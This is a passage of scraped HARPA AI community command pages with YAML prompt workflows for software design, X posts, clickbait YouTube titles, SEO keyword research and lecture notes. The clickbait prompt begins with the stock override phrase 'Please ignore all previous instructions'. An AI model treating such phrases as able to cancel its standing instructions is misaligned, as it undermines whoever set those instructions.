type: gpt param: marketAnalysis - condition: '{{marketComments}} != done' type: jump to: REFINE MARKET ANALYSIS ITERATIVELY type: group - label: FINALIZE MARKET ANALYSIS param: finalMarketAnalysis value: '{{marketAnalysis}}' type: calc func: set format: '' type: group - label: 'STEP 5: Create Pitch Deck' steps: - prompt: > Create an outline for a pitch deck based on the description "{{finalDescription}}", personas "{{finalPersonas}}", and analysis "{{finalMarketAnalysis}}". Limit the response to key bullet points. param: pitchDeck type: gpt - label: REFINE PITCH DECK ITERATIVELY steps: - message: > Pitch Deck Outline: {{pitchDeck}} Provide comments to refine the pitch deck. If you're satisfied, type **Done**. param: pitchDeckComments options: - label: Done value: done - $custom type: ask - condition: '{{pitchDeckComments}} != done' prompt: > Refine the pitch deck outline: "{{pitchDeck}}" based on these comments: "{{pitchDeckComments}}". type: gpt param: pitchDeck - condition: '{{pitchDeckComments}} != done' type: jump to: REFINE PITCH DECK ITERATIVELY type: group - label: FINALIZE PITCH DECK param: finalPitchDeck value: '{{pitchDeck}}' type: calc func: set format: '' type: group - label: 'STEP 6: Outline User Flows' steps: - prompt: > Based on the personas "{{finalPersonas}}" and the description "{{finalDescription}}", outline user flows for the software. param: userFlows type: gpt - label: REFINE USER FLOWS ITERATIVELY steps: - message: > User Flows: {{userFlows}} Provide comments to refine the flows. If you're satisfied, type **Done**. param: flowComments options: - label: Done value: done - $custom type: ask - condition: '{{flowComments}} != done' prompt: > Refine the user flows: "{{userFlows}}" based on these comments: "{{flowComments}}". type: gpt param: userFlows - condition: '{{flowComments}} != done' type: jump to: REFINE USER FLOWS ITERATIVELY type: group - label: FINALIZE USER FLOWS param: finalUserFlows value: '{{userFlows}}' type: calc func: set format: '' type: group - label: 'STEP 7: Develop Storyboards' steps: - prompt: | Create detailed storyboards for the user flows: "{{finalUserFlows}}". param: storyboards type: gpt - label: REFINE STORYBOARDS ITERATIVELY steps: - message: > Storyboards: {{storyboards}} Provide comments to refine the storyboards. If you're satisfied, type **Done**. param: storyboardComments options: - label: Done value: done - $custom type: ask - condition: '{{storyboardComments}} != done' prompt: > Refine the storyboards: "{{storyboards}}" based on these comments: "{{storyboardComments}}". type: gpt param: storyboards - condition: '{{storyboardComments}} != done' type: jump to: REFINE STORYBOARDS ITERATIVELY type: group - label: FINALIZE STORYBOARDS param: finalStoryboards value: '{{storyboards}}' type: calc func: set format: '' type: group - label: 'STEP 8: Define System Functions and Pages' steps: - prompt: > Generate a detailed list of system functions and pages based on the storyboards "{{finalStoryboards}}". param: systemFunctions type: gpt - label: REFINE SYSTEM FUNCTIONS ITERATIVELY steps: - message: > System Functions: {{systemFunctions}} Provide comments to refine the functions. If you're satisfied, type **Done**. param: functionComments options: - label: Done value: done - $custom type: ask - condition: '{{functionComments}} != done' prompt: > Refine the system functions: "{{systemFunctions}}" based on these comments: "{{functionComments}}". type: gpt param: systemFunctions - condition: '{{functionComments}} != done' type: jump to: REFINE SYSTEM FUNCTIONS ITERATIVELY type: group - label: FINALIZE SYSTEM FUNCTIONS param: finalSystemFunctions value: '{{systemFunctions}}' type: calc func: set format: '' type: group - label: 'STEP 9: Plan Development Sprints' steps: - prompt: > Plan development sprints with 10 phases based on the system functions "{{finalSystemFunctions}}". param: sprintPlan type: gpt - label: REFINE SPRINT PLAN ITERATIVELY steps: - message: > Sprint Plan: {{sprintPlan}} Provide comments to refine the plan. If you're satisfied, type **Done**. param: sprintComments options: - label: Done value: done - $custom type: ask - condition: '{{sprintComments}} != done' prompt: > Refine the sprint plan: "{{sprintPlan}}" based on these comments: "{{sprintComments}}". type: gpt param: sprintPlan - condition: '{{sprintComments}} != done' type: jump to: REFINE SPRINT PLAN ITERATIVELY type: group - label: FINALIZE SPRINT PLAN param: finalSprintPlan value: '{{sprintPlan}}' type: calc func: set format: '' type: group - label: 'STEP 9A: ARCH AND COMPONENTS' steps: - prompt: > Recommend SPA/GUI layout and component architecture based on the system functions "{{finalSystemFunctions}}" and Sprint plan {{finalSprintPlan}}. param: archPlan type: gpt - label: REFINE ARCH PLAN ITERATIVELY steps: - message: > System Architecture Plan: {{archPlan}} Provide comments to refine the plan. If you're satisfied, type **Done**. param: archComments options: - label: Done value: done - $custom type: ask - condition: '{{archComments}} != done' prompt: > Refine the sprint plan: "{{archPlan}}" based on these comments: "{{archComments}}". type: gpt param: sprintPlan - condition: '{{sprintComments}} != done' type: jump to: REFINE ARCH PLAN ITERATIVELY type: group - label: FINALIZE ARCH PLAN param: finalArchPlan value: '{{archPlan}}' type: calc func: set format: '' type: group - label: 'STEP 10: Finalize Workflow' steps: - message: >- 🎉 Your software design workflow is complete! Below are the final outputs: - **Refined Description**: {{finalDescription}} - **Chosen Name**: {{chosenName}} - **User Personas**: {{finalPersonas}} - **Market and Competitive Analysis**: {{finalMarketAnalysis}} - **Pitch Deck Outline**: {{finalPitchDeck}} - **User Flows**: {{finalUserFlows}} - **Storyboards**: {{finalStoryboards}} - **System Functions and Pages**: {{finalSystemFunctions}} - **Development Sprint Plan**: {{finalSprintPlan}} - **System Architecture and GUI": {{finalArchPlan}} type: say - message: > Do you want to save this output for future use? Select **Yes** to export as a file or **No** to finish. options: - label: 'Yes' value: export - label: 'No' value: done param: saveDecision type: ask - type: calc func: set param: final format: '' value: >- 🎉 Your software design workflow is complete! Below are the final outputs: - **Refined Description**: {{finalDescription}} - **Chosen Name**: {{chosenName}} - **User Personas**: {{finalPersonas}} - **Market and Competitive Analysis**: {{finalMarketAnalysis}} - **Pitch Deck Outline**: {{finalPitchDeck}} - **User Flows**: {{finalUserFlows}} - **Storyboards**: {{finalStoryboards}} - **System Functions and Pages**: {{finalSystemFunctions}} - **Development Sprint Plan**: {{finalSprintPlan}} - **System Architecture and GUI": {{finalArchPlan}} - condition: '{{saveDecision}} = export' format: markdown content: | ## Software Design Workflow Outputs ### Refined Description {{finalDescription}} ### Chosen Name {{chosenName}} ### User Personas {{finalPersonas}} ### Market and Competitive Analysis {{finalMarketAnalysis}} ### Pitch Deck Outline {{finalPitchDeck}} ### User Flows {{finalUserFlows}} ### Storyboards {{finalStoryboards}} ### System Functions and Pages {{finalSystemFunctions}} ### Development Sprint Plan {{finalSprintPlan}} filename: software_design_workflow_output.md type: export what: param param: final - message: >- Thank you for using the Software Design Workflow! Your outputs have been saved. 🚀 type: say type: group Notice: Please read before using This automation command is created by a community member. HARPA AI team does not audit community commands. Please review the command carefully and only install if you trust the creator. Contact us Name \* Email \* Message \* SEND MESSAGE All rights reserved © **HARPA AI TECHNOLOGIES LLC**, 2021 — 2026 Designed and engineered in Finland 🇫🇮 [Home](https://harpa.ai/) [Use Cases](https://harpa.ai/cases) [Guides](https://harpa.ai/guides) [Privacy Policy](https://harpa.ai/privacy) [Terms of Service](https://harpa.ai/terms) [](https://twitter.com/HarpaAI) [](https://discord.gg/B9Evx82m4K) ![](https://harpa.ai/img/misc/footer-brand.svg) 7.8k CAN WE STORE COOKIES? Our website uses cookies for the purposes of accessibility and security. They also allow us to gather statistics in order to improve the website for you. More info: [Privacy Policy](https://harpa.ai/privacy) ACCEPT ALL ONLY NECESSARY COOKIES --- # HARPA AI | WebPage To X Post [HARPA.AI\ \ ![](https://harpa.ai/img/main-logo-white.png)](https://harpa.ai/) [LIBRARY](https://harpa.ai/library) [API](https://harpa.ai/grid) [GUIDES](https://harpa.ai/guides) [AI COMMANDS](https://harpa.ai/chatml/overview) [BLOG](https://harpa.ai/blog) APP DASHBOARDADD TO BROWSERADD TO BROWSER 📤  WebPage To X Post ===================== This prompts analyzes a web article or page and gives you an popular x post format post. ---------------------------------------------------------------------------------------- Created by **@seo.preneur** Updated on **Jan 15, 2025 11:05** Installed **34 times** 2 How to Use ---------- * Get HARPA AI from [https://get.harpa.ai](https://get.harpa.ai/) * Open HARPA AI with **Alt+A** on this page * Click **IMPORT COMMAND** IMPORT COMMANDContent ------- - type: gpt prompt: >- Analyze {{page}} and highlight 5 sections about Ai advancements, Tools and Software, or Hardware. Then format your summary like these examples below. Do not add your response, bolding, or emoji's. **Example Post 1:** The Best SEO Strategy: - Prioritizes user intent - Builds topical authority - Invests in strong backlinks - Tracks and adapts with data - Focuses on evergreen content - Drives traffic and conversions alike - Optimizes for both search engines & readers What would you add? **Example Post 2:** No SEO budget? Just Do this. - If you write 1000 words/day - Every week you’ll publish 7 posts - Every year you’ll publish 365 posts ✨ - Build few hq guest post links to them. - Interlink the posts for topical relevance. - If each post brings the site 20 visits per day - Every month you will have 220k organic traffic. With AI around, do you still have an excuse? Use AI to give you the headings, titles, content structure. Consistency --> Results! Notice: Please read before using This automation command is created by a community member. HARPA AI team does not audit community commands. Please review the command carefully and only install if you trust the creator. Contact us Name \* Email \* Message \* SEND MESSAGE All rights reserved © **HARPA AI TECHNOLOGIES LLC**, 2021 — 2026 Designed and engineered in Finland 🇫🇮 [Home](https://harpa.ai/) [Use Cases](https://harpa.ai/cases) [Guides](https://harpa.ai/guides) [Privacy Policy](https://harpa.ai/privacy) [Terms of Service](https://harpa.ai/terms) [](https://twitter.com/HarpaAI) [](https://discord.gg/B9Evx82m4K) ![](https://harpa.ai/img/misc/footer-brand.svg) 7.8k CAN WE STORE COOKIES? Our website uses cookies for the purposes of accessibility and security. They also allow us to gather statistics in order to improve the website for you. More info: [Privacy Policy](https://harpa.ai/privacy) ACCEPT ALL ONLY NECESSARY COOKIES --- # HARPA AI | Clickbait Title [HARPA.AI\ \ ![](https://harpa.ai/img/main-logo-white.png)](https://harpa.ai/) [LIBRARY](https://harpa.ai/library) [API](https://harpa.ai/grid) [GUIDES](https://harpa.ai/guides) [AI COMMANDS](https://harpa.ai/chatml/overview) [BLOG](https://harpa.ai/blog) APP DASHBOARDADD TO BROWSERADD TO BROWSER 📯  Clickbait Title =================== Create 10 catchy clickbaits tailored to captivate audiences. ------------------------------------------------------------ Created by **Smart Solutions** Updated on **Nov 21, 2024 11:20** Installed **52 times** 5 How to Use ---------- * Get HARPA AI from [https://get.harpa.ai](https://get.harpa.ai/) * Open HARPA AI with **Alt+A** on this page * Click **IMPORT COMMAND** IMPORT COMMANDContent ------- - type: ask message: |- Insert the primary keyword(s) or topic(s) for the Video Title. Leave blank and I will try to figure it out from the opened page. param: about default: '{{page}}' - type: ask param: p1 message: 'Please provide p1:' - type: gpt prompt: |- Please ignore all previous instructions. I want you to respond only in {{language}}. I want you to act as a highly skilled marketer and top-tier copywriter. I want you to pretend that you are an expert at writing all types of Toutube/Video Title. Your task is to come up with at least 10 catchy, human-written, suspenseful CTAs for a topic or web page I provide at the end. The best clickbaits usually: - Provoke or grab attention: This is often in the form of a question or a statement that creates a sense of curiosity or urgency. - Have a strong emotional hook: The headline should tap into the reader's emotions and make them feel invested in finding out more. - Relevant to the target audience: The headline should be relevant to the reader's interests or needs. - Have a sense of exclusivity: Clickbait headlines often suggest that the reader will get access to something special or privileged by clicking through. - Leave cliffhangers or contain lists such as "5 ways to ...". [TOPIC OR WEB PAGE CONTENT FOR THE CLICKBAITS]: {{about}} [EXAMPLES]: 1. "I made 300 YouTube videos and learned this" 2. "Do this on YouTube BEFORE 2025, It'll Blow Up Your Business" 3. "Update your YouTube descriptions, It'll blow up your business" 4. "7 Years of YouTube Advice for Businesses" 5. "5 Hacks That Make YouTube Feel Easy" 6. "Say this in your videos, it'll blow up your business" 7. "How To Blow Up A Businesses YouTube Channel" 8. "I'm dumb, but this made me rich" 9. "Make this video, it'll blow up your business" 10. "YouTubes hard, until businesses know this" 11. "3 YouTube hacks, that'll blow up your business" 12. "How to make a killer video (That blows up your business)" 13. "How Long It Actually Takes To Make Money On YouTube" 14. "Why I quit a YouTube channel with 370k subscribers" 15. "How To Sell On YouTube, Without Looking Sleazy" 16. "She Built A System That Makes ANY YouTuber Rich" 17. "Why Editing Keeps YouTubers Poor" 18. "How Small YouTubers Are Making BIG Money In 2024" 19. "The YouTuber Making $1,000,000/Month" 20. "How To Go Full Time On YouTube (With less than 3,000 views)" 21. "I Gave A YouTuber A $100,000 Product Idea" 22. "I Made Small YouTubers Rich To Prove Its Not Luck" 23. "Small YouTubers Make BANK When They Do This" 24. "The Small YouTube Channel Making $500,000/yr" 25. "DO THIS to make your next $10k on YouTube" 26. "The Niche YouTuber Making $30,000,000/yr" 27. "Do This To Get Ahead Of 99% Of YouTubers" 28. "5 Secrets To Making $10k/Month As A YouTuber" 29. "5 BIG Mistakes Keeping YouTubers Poor" 30. "The Man Making YouTubers Millions" 31. "The YouTuber Who Made $1,600,000 In A Month" 32. "This Stops 90% Of YouTubers Making Money" 33. "32 Passive Income Ideas Making YouTubers Rich" 34. "The System YouTuber's Use To Make Money Online" 35. "The Man Making YouTubers Rich For Free" 36. "Exposing THE BIG YouTube Monetisation Myth" 37. "Millionaire YouTuber Reveals Secrets To Success" 38. "The Secret To Making Money From YouTube" 39. "Why The Smartest YouTubers Plan To Quit" 40. "YouTube's Passive Income Feature (Everyone Ignores)" 41. "Revealing A YouTubers $100k/Month Passive Income Strategy" 42. "Monetization Mistakes YouTubers Must Stop Making" 43. "Why I Started A New Channel (Revealing My Strategy)" [10 CATCHY, HUMAN-WRITTEN, SUSPENSEFUL CTAS]: param: gpt - type: command name: Validation And Feedback inputs: [] Notice: Please read before using This automation command is created by a community member. HARPA AI team does not audit community commands. Please review the command carefully and only install if you trust the creator. Contact us Name \* Email \* Message \* SEND MESSAGE All rights reserved © **HARPA AI TECHNOLOGIES LLC**, 2021 — 2026 Designed and engineered in Finland 🇫🇮 [Home](https://harpa.ai/) [Use Cases](https://harpa.ai/cases) [Guides](https://harpa.ai/guides) [Privacy Policy](https://harpa.ai/privacy) [Terms of Service](https://harpa.ai/terms) [](https://twitter.com/HarpaAI) [](https://discord.gg/B9Evx82m4K) ![](https://harpa.ai/img/misc/footer-brand.svg) 7.8k CAN WE STORE COOKIES? Our website uses cookies for the purposes of accessibility and security. They also allow us to gather statistics in order to improve the website for you. More info: [Privacy Policy](https://harpa.ai/privacy) ACCEPT ALL ONLY NECESSARY COOKIES --- # HARPA AI | High-Value Keyword Research Tool [HARPA.AI\ \ ![](https://harpa.ai/img/main-logo-white.png)](https://harpa.ai/) [LIBRARY](https://harpa.ai/library) [API](https://harpa.ai/grid) [GUIDES](https://harpa.ai/guides) [AI COMMANDS](https://harpa.ai/chatml/overview) [BLOG](https://harpa.ai/blog) APP DASHBOARDADD TO BROWSERADD TO BROWSER 🔍  High-Value Keyword Research Tool ==================================== Specialized keyword research focusing on high volume/low competition opportunities and valuable long-tail keywords with strong conversion potential. ---------------------------------------------------------------------------------------------------------------------------------------------------- Created by **Najib HADDOUCHI** Updated on **May 19, 2025 11:41** Installed **18 times** 1 How to Use ---------- * Get HARPA AI from [https://get.harpa.ai](https://get.harpa.ai/) * Open HARPA AI with **Alt+A** on this page * Click **IMPORT COMMAND** IMPORT COMMANDContent ------- - type: clear - type: say message: >- # 🔍 High-Value Keyword Research Tool This specialized tool focuses on finding **high volume / low competition keywords** and valuable **long-tail opportunities** for your SEO strategy. **Strategic Advantages:** - Long-tail keywords have higher conversion rates - Low competition keywords are easier to rank for - Specific search phrases target users further in the buying journey **How it works:** 1. Enter your primary keyword or topic 2. Choose analysis depth 3. Receive a report highlighting the best opportunities - type: ask param: seedKeyword message: >- ## Enter your primary keyword or topic This will be the foundation for our research. For best results, be specific about your niche. **Examples:** "organic dog food", "freelance graphic design", "home workout equipment" options: null default: '' vision: enabled: false mode: area hint: '' send: true - type: calc func: set param: currentStep format: '' value: collecting data - type: ask param: researchDepth message: |- ## Select research depth How comprehensive should the keyword analysis be? options: - label: ⚡ Quick Analysis (15-20 keywords) value: quick - label: 🔍 Standard Research (40-50 keywords) value: standard - label: 🔬 Deep Research (80-100+ keywords) value: deep default: standard - type: say message: >- ## 🔄 Starting high-value keyword research for "{{seedKeyword}}" Focusing on: - 📈 High volume / low competition keywords - 🎯 Long-tail keyword opportunities - 💰 Terms with higher conversion potential Please wait while I analyze search data and compile your results... This may take a few moments depending on your selected depth ({{researchDepth}}). - type: calc func: set param: serpData format: '' value: '{{serp {{seedKeyword}}}}' - type: calc func: serp.extract-links from: serpData to: serpLinks - type: say message: |- ✅ SERP analysis complete! Found {{serpLinks.length}} top-ranking pages for "{{seedKeyword}}". Now extracting high-value and long-tail keyword opportunities... - type: gpt prompt: >- You are an expert SEO keyword researcher specializing in long-tail keyword discovery and high-value/low-competition opportunities. # TASK Generate valuable long-tail keyword variations based on "{{seedKeyword}}". # OUTPUT REQUIREMENTS Create a JSON array of long-tail keyword variations (at least 20) that: 1. Are 3+ words in length 2. Have clear search intent 3. Include question-based variations (how, what, why, when, where) 4. Include modifiers that indicate buying intent (best, top, vs, review, etc.) 5. Include location-based variations if applicable 6. Include "zero-click" knowledge panel opportunities Format: ``` [\ {\ "keyword": "string",\ "wordCount": number,\ "searchIntent": "string",\ "conversionPotential": "high/medium/low"\ }\ ] ``` Return only the JSON array with no additional text. param: longTailKeywords isolated: true temperature: 0.7 - type: calc func: extract-json to: parsedLongTailKeywords param: longTailKeywords index: '' - type: gpt prompt: >- You are an expert SEO keyword researcher specializing in finding high volume/low competition keyword opportunities for maximizing ROI. # TASK Analyze the following search data for "{{seedKeyword}}" and identify valuable keywords that have the best balance of high search volume and low competition. # SERP DATA {{serpData}} # RESEARCH DEPTH User selected: {{researchDepth}} analysis # OUTPUT REQUIREMENTS Generate a JSON object focusing on HIGH VOLUME, LOW COMPETITION keywords: 1. Identify keywords with the best opportunity score (balance of volume vs. competition) 2. Rate each keyword's ranking difficulty (1-100 scale, lower is easier) 3. Estimate monthly search volume ranges 4. Include content difficulty assessment 5. Tag keywords that show buying intent Return only the JSON object with no additional text. Format: ``` { "primaryKeyword": "string", "keywordGroups": [\ {\ "groupName": "string",\ "opportunityScore": number, // 1-100, higher is better\ "keywords": [\ {\ "keyword": "string",\ "volumeRange": "string",\ "difficultyScore": number, // 1-100, lower is easier\ "contentComplexity": "string",\ "buyingIntent": boolean\ }\ ]\ }\ ] } ``` param: keywordData isolated: true temperature: 0.3 - type: calc func: extract-json to: parsedKeywordData param: keywordData index: '' - condition: '{{researchDepth}} != quick' type: group steps: - type: say message: |- 🔍 Performing competitor keyword gap analysis... Identifying low-competition opportunities your competitors are missing. - type: loop list: serpLinks steps: - condition: '{{index}} < 3' type: calc func: set param: pageContent format: '' value: '{{page {{item.url}} limit=15%}}' - condition: '{{index}} < 3' type: gpt prompt: >- You are an SEO competitive analyst specializing in finding keyword gaps and untapped opportunities. # TASK Analyze this competitor content and identify keyword opportunities they are MISSING or UNDERUTILIZING related to "{{seedKeyword}}". # COMPETITOR CONTENT Title: {{item.title}} URL: {{item.url}} Content: {{pageContent}} # OUTPUT REQUIREMENTS Generate a JSON array of 10-15 keyword opportunities that this competitor is not fully addressing: 1. Focus on low competition opportunities 2. Identify keyword gaps in their content 3. Highlight topics they cover superficially that could be expanded 4. Suggest content types to better address these gaps Format (return only the JSON): ``` [\ {\ "keyword": "string",\ "competitorCoverage": "none/minimal/moderate", \ "opportunityType": "gap/thin-content/related-topic",\ "suggestedContentFormat": "string",\ "estimatedDifficulty": number // 1-100, lower is easier\ }\ ] ``` param: competitorGaps isolated: true temperature: 0.2 - condition: '{{index}} < 3' type: calc func: extract-json to: parsedCompetitorGaps param: competitorGaps index: '' - condition: '{{index}} < 3 && {{parsedCompetitorGaps}}' type: calc func: list-add list: allCompetitorGaps item: parsedCompetitorGaps index: last - type: gpt prompt: >- You are an SEO analysis expert who specializes in evaluating keyword difficulty and search competition. # TASK Analyze the SERP data for "{{seedKeyword}}" and evaluate the ranking difficulty. # SERP DATA {{serpData}} # OUTPUT REQUIREMENTS Generate a JSON object containing: 1. Overall keyword difficulty score (1-100, lower is easier) 2. Authority level of competing sites (1-100, higher is more authoritative) 3. Content quality assessment (1-100, higher is better quality) 4. Backlink strength estimation (1-100, higher is stronger) 5. Specific opportunities for outranking competitors 6. Estimated resources needed to rank Return only the JSON object with no additional text. Format: ``` { "difficultyScore": number, "competitorAnalysis": { "averageAuthority": number, "averageContentQuality": number, "averageBacklinkStrength": number }, "rankingOpportunities": [\ {\ "opportunity": "string",\ "impactLevel": "high/medium/low"\ }\ ], "resourcesNeeded": { "contentQuality": "string", "backlinksRequired": "string", "technicalSEO": "string", "estimatedTimeToRank": "string" } } ``` param: difficultyAnalysis isolated: true temperature: 0.3 - type: calc func: extract-json to: parsedDifficultyAnalysis param: difficultyAnalysis index: '' - type: gpt prompt: >- You are an expert SEO strategist specializing in high-value, low-competition keyword opportunities. # TASK Create a comprehensive keyword research report focused on HIGH VOLUME/LOW COMPETITION and LONG-TAIL keyword opportunities based on the provided data. # INPUT DATA - Primary keyword: {{seedKeyword}} - Long-tail keywords: {{parsedLongTailKeywords}} - Keyword data: {{parsedKeywordData}} - Difficulty analysis: {{parsedDifficultyAnalysis}} - Competitor gaps: {{allCompetitorGaps}} # OUTPUT REQUIREMENTS Create a detailed, actionable keyword research report in markdown format with these sections: 1. **Executive Summary** - Key findings about "{{seedKeyword}}" - Top high-value/low-competition opportunities - Best long-tail keyword opportunities 2. **Keyword Opportunity Analysis** - Table of top 10 high volume/low competition keywords - Rating system showing opportunity score (volume vs. difficulty balance) - Clear recommendations for which keywords to prioritize 3. **Long-Tail Keyword Opportunities** - Best converting long-tail variations - Question-based keywords with high value - Featured snippet and knowledge panel opportunities 4. **Competitor Gap Analysis** (if available) - Keywords competitors are missing - Content topics that are underserved - Specific topical niches you can dominate 5. **Difficulty Assessment** - Realistic evaluation of ranking potential - Resource requirements for top keywords - Timeline estimations for ranking 6. **Strategic Action Plan** - Top 10 keywords to target immediately - Content strategy by keyword group - Tracking and measurement recommendations Format the report professionally with clear sections, tables where appropriate, and emphasis on actionable insights. Focus heavily on practical steps to target these high-value keywords. param: finalReport isolated: true temperature: 0.7 - type: say message: |- # 📊 High-Value Keyword Research Report for "{{seedKeyword}}" _Focusing on high volume/low competition and long-tail opportunities_ {{finalReport}} - type: ask param: nextAction message: '## What would you like to do with your high-value keyword research?' options: - label: 📄 Export to Text File value: export - label: 📋 Save to Clipboard value: clipboard - label: 📊 Export as CSV value: csv - label: 🔄 New Research value: new - label: ✅ Done value: done default: done - condition: '{{nextAction}} = export' type: export what: param param: finalReport filename: high_value_keywords_{{seedKeyword}}.md - condition: '{{nextAction}} = clipboard' type: paste text: '{{finalReport}}' mode: null selectorType: ai selector: null item: null close: false - condition: '{{nextAction}} = csv' type: group steps: - type: gpt prompt: >- You are a data conversion specialist. # TASK Convert the keyword data into a CSV format suitable for spreadsheet analysis. # INPUT DATA - Primary keyword: {{seedKeyword}} - Long-tail keywords: {{parsedLongTailKeywords}} - Keyword data: {{parsedKeywordData}} # OUTPUT REQUIREMENTS Create a CSV string with these columns: 1. Keyword 2. Search Volume 3. Difficulty Score 4. Opportunity Score 5. Word Count 6. Search Intent 7. Conversion Potential 8. Content Type Recommendation First row should be the header. All subsequent rows should be the keyword data. Include all keywords from both the regular keyword data and long-tail keywords. Format must be valid CSV (comma-separated values). param: csvData isolated: true temperature: 0.2 - type: export what: param param: csvData filename: high_value_keywords_{{seedKeyword}}.csv - condition: '{{nextAction}} = new' type: jump to: 0 - condition: '{{nextAction}} = done' type: say message: >- Thanks for using the High-Value Keyword Research Tool! You now have a strategic advantage with these low-competition, high-potential keywords. Good luck with your SEO efforts! Notice: Please read before using This automation command is created by a community member. HARPA AI team does not audit community commands. Please review the command carefully and only install if you trust the creator. Contact us Name \* Email \* Message \* SEND MESSAGE All rights reserved © **HARPA AI TECHNOLOGIES LLC**, 2021 — 2026 Designed and engineered in Finland 🇫🇮 [Home](https://harpa.ai/) [Use Cases](https://harpa.ai/cases) [Guides](https://harpa.ai/guides) [Privacy Policy](https://harpa.ai/privacy) [Terms of Service](https://harpa.ai/terms) [](https://twitter.com/HarpaAI) [](https://discord.gg/B9Evx82m4K) ![](https://harpa.ai/img/misc/footer-brand.svg) 7.8k CAN WE STORE COOKIES? Our website uses cookies for the purposes of accessibility and security. They also allow us to gather statistics in order to improve the website for you. More info: [Privacy Policy](https://harpa.ai/privacy) ACCEPT ALL ONLY NECESSARY COOKIES --- # HARPA AI | lecture, presentation and cheatsheet generator [HARPA.AI\ \ ![](https://harpa.ai/img/main-logo-white.png)](https://harpa.ai/) [LIBRARY](https://harpa.ai/library) [API](https://harpa.ai/grid) [GUIDES](https://harpa.ai/guides) [AI COMMANDS](https://harpa.ai/chatml/overview) [BLOG](https://harpa.ai/blog) APP DASHBOARDADD TO BROWSERADD TO BROWSER 👤  lecture, presentation and cheatsheet generator ================================================== This workflow transforms any provided text into a polished, cheatsheet-style lecture note in markdown format. It starts by asking for content, then uses a GPT-driven module to generate detailed lecture notes complete with equations, code examples, and image placeholders. A subsequent JavaScript step cleans up formatting issues before the final result is exported as a markdown file. Perfect for educators and students looking to convert raw text into structured, shareable notes. ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- Created by **K D** Updated on **Apr 7, 15:02** Installed **10 times** 0 RUNS JS CODE How to Use ---------- * Get HARPA AI from [https://get.harpa.ai](https://get.harpa.ai/) * Open HARPA AI with **Alt+A** on this page * Click **IMPORT COMMAND** IMPORT COMMANDContent ------- - type: ask param: p1 message: 'Please provide content:' default: '{{transcript}}' - type: ask param: p2 message: 'what style do you want: ' default: lecture note optionsInvalid: false options: - label: ✅ lecture note value: lecture note - label: 🏷️ cheat sheet value: cheat sheet - label: 📽️ slides value: lecture slides - $custom - type: gpt prompt: >- You are an adept college professor producing high quality learning artifacts. Convert the given text into a **{{p2}}** using Markdown. **Core Goals** 1. Self-contained at college level. Strive to be complete, clear and nuanced. Match depth to difficulty. 2. Capture all key goals, steps, assumptions, claims, algorithms, code snippets, figures, equations, proofs, and case studies seen in the source — this is the density floor. 3. For difficult or non-obvious topics: explain *why*, not just *what*; fill inferred gaps (missing code, equations, blackboard steps) when it resolves a gap the reader would notice — label as **Inferred**. 4.No narrator voice ("The central claim is…", "This section argues…", "This text" etc etc), and consider a concept map or synthesis or summary section when the length permits. 5. Use appropriate format — prose, tables, bullets, diagrams to help students best learn. **Global Rules** - Equations: inline `$...$`, display `$$...$$`, multi-line `$$\begin{align}...\end{align}$$`. Never `\(...\)` or `\[...\]`. - Multi-step derivations must be display equations. Trivial arithmetic is exempt. - Algorithms and named patterns (circuit breakers, backoff, sketches, etc.) → numbered/nested lists with steps, parameter names, and rationale per non-obvious step. - Images: `![caption](url)` — copy URLs exactly, including query parameters. - Max list depth: 3. No `\*` escaping for superscripts. - Long References and bibliography seen: omit. - Code snippets: line-keyed explanation for every non-obvious line (symbol, syntax, why), length appropriate to difficulty. - Chunk overlap: state in one sentence what was covered earlier, then focus on new detail. - Omit exercises unless they are really worked out examples. **Title (required)** `# <TITLE> (part X/<total>, REF Y)` — X = chunk number, total = total chunks, REF Y = section name or timestamp. **Section headings** (up to 4 levels): - With original title: `## <Summary Title> (REF <original>)` - Transcript: `## <Summary Title> (REF <timestamp>)` --- ## OUTPUT-TYPE INSTRUCTIONS (see `{{p2}}`) All types: let content dictate structure. Lead with claims or results directly, not narrated. Bridge sections only when the connection is genuinely non-obvious. - **`lecture notes`** — full reasoning depth; intuition first, then detail. Target ≈70% of source length - **`cheatsheet`** — more concise than lecture notes, but not by cutting content, substance or nuance. Achieve density through tighter phrasing, tables, and inline structure. - **`presentation`** — more concise than a cheatsheet, but not by cutting content. Achieve conciseness through further employing concise visual structure — tables over prose, code over description. Each slide should be nearly self-contained; push deeper description and rationale into speaker notes. Follow these structural rules exactly: **Slide breaks:** Use `---` (horizontal rule) on its own line to separate slides. Every `---` creates a new slide. Do NOT rely on heading levels to create slides — only `---` does that. **Speaker notes:** Use a blockquote starting with `Note:` as the last element on a slide. These become hidden speaker notes (press `S` to view in the presentation). **Headings:** Use `#` only on the title slide. Use `##` for slide headings, `###` for sub-headings within a slide. Headings do NOT create slide breaks — always use `---`. **Math:** Inline `$...$`, display `$$...$$`. KaTeX renders these automatically. **Code blocks:** Use fenced code blocks with language tags (` ```python `, ` ```yaml `, etc.). These get syntax-highlighted automatically. **Fragments (optional):** Append `{.fragment}` to a bullet to make it appear on click. **Slide density:** Aim for 8–12 visible lines per slide (excluding speaker notes). Code blocks longer than ~10 lines will scroll on their own — that's fine. If a slide feels crowded, split it rather than shrink the content. Opening slide format: ``` # <TITLE> (part X/<total>, REF Y) <one-line description> --- ``` Typical content slide: ``` ## Slide Heading - Key point one - Key point two - Key point three > Note: Tradeoffs, rationale, or deeper explanation the speaker delivers verbally. --- ``` Slide with code (use triple-backtick fenced blocks with a language tag): ``` ## Code Example Brief context sentence. ```python def example(): return "highlighted" ``` > Note: Why this code matters. --- ``` **Important:** The final slide should NOT end with `---`. Every other slide boundary must have exactly one `---` between slides. - **`custom`** — follow user instructions precisely; Global Rules apply unless overridden. --- **[CONTENT TO SUMMARIZE]:** --begin text chunk {{chunk.index}} of {{chunk.total}} chunks-- {{chunk}} --end text chunk {{chunk.index}} of {{chunk.total}} chunks-- **Proceed with the {{p2}} — no confirmation needed.** chunkify: text: '{{p1}}' empty: '' maxTokens: 8192 isolated: false param: gpt - type: js code: |2- const patterns = [\ { regex: /^\s*\$\s*\n/g, replacement: "\$\$\n" },\ { regex: /\\Perp/g, replacement: "\\perp" },\ { regex: /\\\(|\\\)/g, replacement: "\$" },\ { regex: /\$\$\$/g, replacement: "\$\$" },\ { regex: /^\s+!/gm, replacement: "!" },\ { regex: /^\s+\$\$\s*\n/g, replacement: "\$\$\n" },\ { regex: /-\s+!\[/gm, replacement: "!\[" },\ { regex: /boldbold/g, replacement: "boldsymbol" },\ { regex: /boldboldbold/g, replacement: "boldsymbol" },\ { regex: 